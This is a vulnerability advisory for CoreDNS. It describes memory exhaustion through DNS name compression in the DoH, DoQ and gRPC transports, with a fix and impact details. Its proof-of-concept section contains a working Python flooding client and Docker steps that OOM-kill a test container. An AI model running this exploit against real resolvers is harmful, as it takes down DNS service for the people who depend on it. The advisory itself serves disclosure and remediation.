CoreDNS: Unauthenticated memory exhaustion in custom transports

Summary

CoreDNS parses attacker-controlled DNS section counts before validating them on DNS-over-HTTPS (DoH and DoH3), DNS-over-QUIC (DoQ), and DNS-over-gRPC listeners. An unauthenticated client can use DNS name compression to make one 65,533-byte request allocate more than 10 MiB while it is unpacked. Concurrent requests can exhaust memory and terminate CoreDNS.

Details

The affected request paths call dns.Msg.Unpack directly:

• DoH POST and GET decoding. DoH3 uses the same decoder.
• DoQ stream handling.
• DNS-over-gRPC query handling.

This differs from the miekg/dns UDP and TCP server. Its serveDNS path decodes the fixed 12-byte header and invokes DefaultMsgAcceptFunc before unpacking the DNS sections. The default policy rejects requests unless QDCOUNT is exactly one and also limits the other section counts. CoreDNS's custom transports bypass this early validation.

Parsing happens before the plugin chain. Plugin-level rate limiting or request handling cannot prevent the allocation. The fix is to apply dns.DefaultMsgAcceptFunc to the fixed header before calling Msg.Unpack in each custom request transport. Response decoding must remain separate because the request policy intentionally rejects response headers.

PoC

The PoC runs against the DoH server.

Run the following from a clean checkout of CoreDNS v1.14.6. Docker must support container memory limits. The example uses the test certificate already present in the repository and publishes the test service only on loopback.

Save this as Corefile.cd01:

https://.:8053 {
    tls /cert.pem /key.pem
    whoami
}

Save this standard-library client as poc-cd01.py:

#!/usr/bin/env python3
import argparse
import concurrent.futures
from collections import Counter
import http.client
import ssl
import struct


def normal_query():
    header = struct.pack("!HHHHHH", 0x1234, 0x0100, 1, 0, 0, 0)
    question = b"\x07example\x03org\x00" + struct.pack("!HH", 1, 1)
    return header + question, 1


def attack_query():
    message = bytearray(65535)
    offset = 12
    name_offset = offset

    for size in (63, 63, 63, 61):
        message[offset] = size
        offset += 1
        message[offset : offset + size] = b"\x01" * size
        offset += size

    message[offset] = 0
    offset += 1
    struct.pack_into("!HH", message, offset, 1, 1)
    offset += 4
    questions = 1

    while offset + 6 <= len(message):
        struct.pack_into("!HHH", message, offset, 0xC000 | name_offset, 1, 1)
        offset += 6
        questions += 1

    struct.pack_into(
        "!HHHHHH", message, 0, 0x1234, 0x0100, questions, 0, 0, 0
    )
    return bytes(message[:offset]), questions


def send(payload):
    context = ssl._create_unverified_context()
    connection = http.client.HTTPSConnection(
        "127.0.0.1", 18053, timeout=3, context=context
    )
    try:
        connection.request(
            "POST",
            "/dns-query",
            body=payload,
            headers={"Content-Type": "application/dns-message"},
        )
        response = connection.getresponse()
        response.read()
        return f"http-{response.status}"
    except Exception:
        return "error"
    finally:
        connection.close()


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--normal", action="store_true")
    parser.add_argument("--workers", type=int, default=1)
    args = parser.parse_args()

    payload, questions = normal_query() if args.normal else attack_query()
    print(
        f"payload={len(payload)} questions={questions} workers={args.workers}"
    )
    with concurrent.futures.ThreadPoolExecutor(args.workers) as pool:
        results = pool.map(send, [payload] * args.workers)
    print(Counter(results))


if __name__ == "__main__":
    main()

Build the Linux binary and container image:

GOCACHE=/tmp/coredns-gocache \
GOOS=linux GOARCH="$(go env GOARCH)" CGO_ENABLED=0 \
go build -tags=grpcnotrace -o coredns .
docker build --tag coredns-cd01:vulnerable .

Start CoreDNS with a 64 MiB memory and swap limit:

docker run --detach --name coredns-cd01 \
  --memory 64m --memory-swap 64m \
  --publish 127.0.0.1:18053:8053/tcp \
  --volume "$PWD/Corefile.cd01:/Corefile:ro" \
  --volume "$PWD/plugin/tls/test_cert.pem:/cert.pem:ro" \
  --volume "$PWD/plugin/tls/test_key.pem:/key.pem:ro" \
  coredns-cd01:vulnerable -conf /Corefile

Confirm that the listener works and that one malicious request is accepted:

$ python3 poc-cd01.py --normal
payload=29 questions=1 workers=1
Counter({'http-200': 1})

$ python3 poc-cd01.py
payload=65533 questions=10878 workers=1
Counter({'http-200': 1})

Send 32 malicious requests concurrently and inspect the container:

$ python3 poc-cd01.py --workers 32
payload=65533 questions=10878 workers=32
Counter({'error': 32})

$ docker inspect --format '{{.State.Status}} OOMKilled={{.State.OOMKilled}} ExitCode={{.State.ExitCode}}' coredns-cd01
exited OOMKilled=true ExitCode=137

OOMKilled=true confirms that the container was terminated by memory exhaustion rather than a CoreDNS configuration error.

Impact

This is an unauthenticated denial-of-service vulnerability. Deployments are affected when DoH, DoH3, DoQ, or DNS-over-gRPC is exposed to an attacker. The ordinary miekg/dns UDP and TCP listeners are not affected because they perform the header acceptance check before unpacking.

In the validated configuration, 32 requests OOM-killed a CoreDNS container limited to 64 MiB. Higher memory limits increase the number of concurrent requests required but do not remove the allocation amplification. Successful exploitation interrupts DNS service.

CoreDNS versions v007 through v1.14.6 are affected when DNS-over-gRPC is exposed. DoH is affected from v1.1.3, DoQ from v1.11.0, and DoH3 from v1.13.2.